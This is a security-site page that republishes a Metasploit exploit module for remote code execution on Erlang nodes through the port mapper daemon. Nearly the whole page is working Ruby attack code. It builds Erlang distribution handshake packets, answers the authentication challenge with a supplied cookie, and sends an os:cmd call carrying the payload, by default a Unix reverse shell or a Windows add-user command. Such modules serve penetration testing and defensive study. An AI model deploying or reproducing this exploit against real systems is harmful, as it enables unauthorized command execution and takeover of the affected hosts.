首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Erlang Port Mapper Daemon Cookie Remote Code Execution
来源:metasploit.com 作者:wetw0rk 发布时间:2018-12-20  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Erlang Port Mapper Daemon Cookie RCE',
        'Description'    => %q{
          The erlang port mapper daemon is used to coordinate distributed erlang instances.
          Should an attacker get the authentication cookie RCE is trivial. Usually, this
          cookie is named ".erlang.cookie" and varies on location.
        },
        'Author'         =>
          [
            'Daniel Mende',              # blog post article
            'Milton Valencia (wetw0rk)', # metasploit module
          ],
        'References'     =>
          [
            ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => ['unix', 'win'],
        'Arch'           => ARCH_CMD,
        'Privileged'     => 'false',
        'Targets'        =>
          [
            [ 'Unix',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            ],
            [ 'Windows',
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
            ]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
      )
    )

    register_options(
      [
        OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
        Opt::RPORT(25672)
      ])
  end

  def generate_challenge_digest(challenge)
    challenge = challenge.unpack('H*')[0].to_i(16).to_s

    hash = Digest::MD5.new
    hash.update(datastore['COOKIE'])
    hash.update(challenge)

    vprint_status("MD5 digest generated: #{hash.hexdigest}")
    return [hash.hexdigest].pack('H*')
  end

  def exploit
    connect

    our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"

    # SEND_NAME: send initial identification of who "we" are
    send_name =  "\x00"                                     # Length: 0x0000
    send_name << [(our_node.length+7).to_s(16)].pack('H*')  #
    send_name << "\x6e"                                     # Tag: n
    send_name << "\x00\x05"                                 # Version: R6 (5)
    send_name << "\x00\x03\x49\x9c"                         # Flags (0x0003499c)
    send_name << "#{our_node}"                              # <generated>@<generated>

    # SEND_CHALLENGE_REPLY: return generated digest and its own challenge
    send_challenge_reply =  "\x00\x15"  # Length: 21
    send_challenge_reply << "\x72"      # Tag: r

    # SEND: send the message to the node
    send =  "\x00\x00\x00"                                                        # Length:0x00000000
    send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
    send << "\x70"                                                                #
    send << "\x83"                                                                # VERSION_MAGIC
    send << "\x68"                                                                # SMALL_TUPLE_EXT (104)
    send << "\x04"                                                                #   Arity: 4
    send << "\x61"                                                                #     SMALL_INTEGER_EXT
    send << "\x06"                                                                #       Int: 6
    send << "\x67"                                                                #     PID_EXT (103)
    send << "\x64\x00"                                                            #       Node:
    send << [(our_node.length).to_s(16)].pack('H*')                               #         Length: strlen(Node)
    send << "#{our_node}"                                                         #         Node
    send << "\x00\x00\x00\x03"                                                    #       ID
    send << "\x00\x00\x00\x00"                                                    #       Serial
    send << "\x00"                                                                #       Creation
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x00"                                                            #       Len: 0x0000
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x03"                                                            #       Length: 3
    send << "rex"                                                                 #       AtomText: rex
    send << "\x83\x68\x02\x67\x64\x00"                                            #
    send << [(our_node.length).to_s(16)].pack('H*')                               # Length: strlen(Node)
    send << "#{our_node}"                                                         # Node
    send << "\x00\x00\x00\x03"                                                    # ID
    send << "\x00\x00\x00\x00"                                                    # Serial
    send << "\x00"                                                                # Creation
    send << "\x68"                                                                # SMALL_TUPLE_EXT (104)
    send << "\x05"                                                                #   Arity: 5
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x04"                                                            #       Length: 4
    send << "call"                                                                #       AtomText: call
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x02"                                                            #       Length: 2
    send << "os"                                                                  #       AtomText: os
    send << "\x64"                                                                #     InternalSegmentIndex
    send << "\x00\x03"                                                            #       Length: 3
    send << "cmd"                                                                 #       AtomText: cmd
    send << "\x6c"                                                                #     LIST_EXT
    send << "\x00\x00\x00\x01"                                                    #       Length: 1
    send << "\x6b"                                                                #       Elements: k
    send << "\x00"                                                                #       Tail
    send << [(payload.raw.length).to_s(16)].pack('H*')                            # strlen(Command)
    send << payload.raw                                                           # Command
    send << "\x6a"                                                                # NIL_EXT
    send << "\x64"                                                                # InternalSegmentIndex
    send << "\x00\x04"                                                            #   Length: 4
    send << "user"                                                                #   AtomText: user

    sock.put(send_name)

    # recieve servers "SEND_CHALLENGE" token (4 bytes)
    print_status("Receiving server challenge")
    challenge = sock.get
    challenge = challenge[14,4]

    send_challenge_reply << challenge
    send_challenge_reply << generate_challenge_digest(challenge)

    print_status("Sending challenge reply")
    sock.put(send_challenge_reply)

    if sock.get.length < 1
      fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
    end

    print_good("Authentication successful, sending payload")
    sock.put(send)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Rukovoditel Project Management
·LanSpy 2.0.1.159 Buffer Overfl
·LanSpy 2.0.1.159 Local Buffer
·Base64 Decoder 1.1.2 SEH Local
·PDF Explorer 1.5.66.2 SEH Buff
·XMPlay 3.8.3 Local Stack Overf
·PassFab RAR 9.3.4 SEH Buffer O
·Netatalk Authentication Bypass
·Linux Kernel 4.4 rtnetlink Sta
·ASUS Driver Privilege Escalati
·Microsoft Windows jscript!JsAr
·GIGABYTE Driver Privilege Esca
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved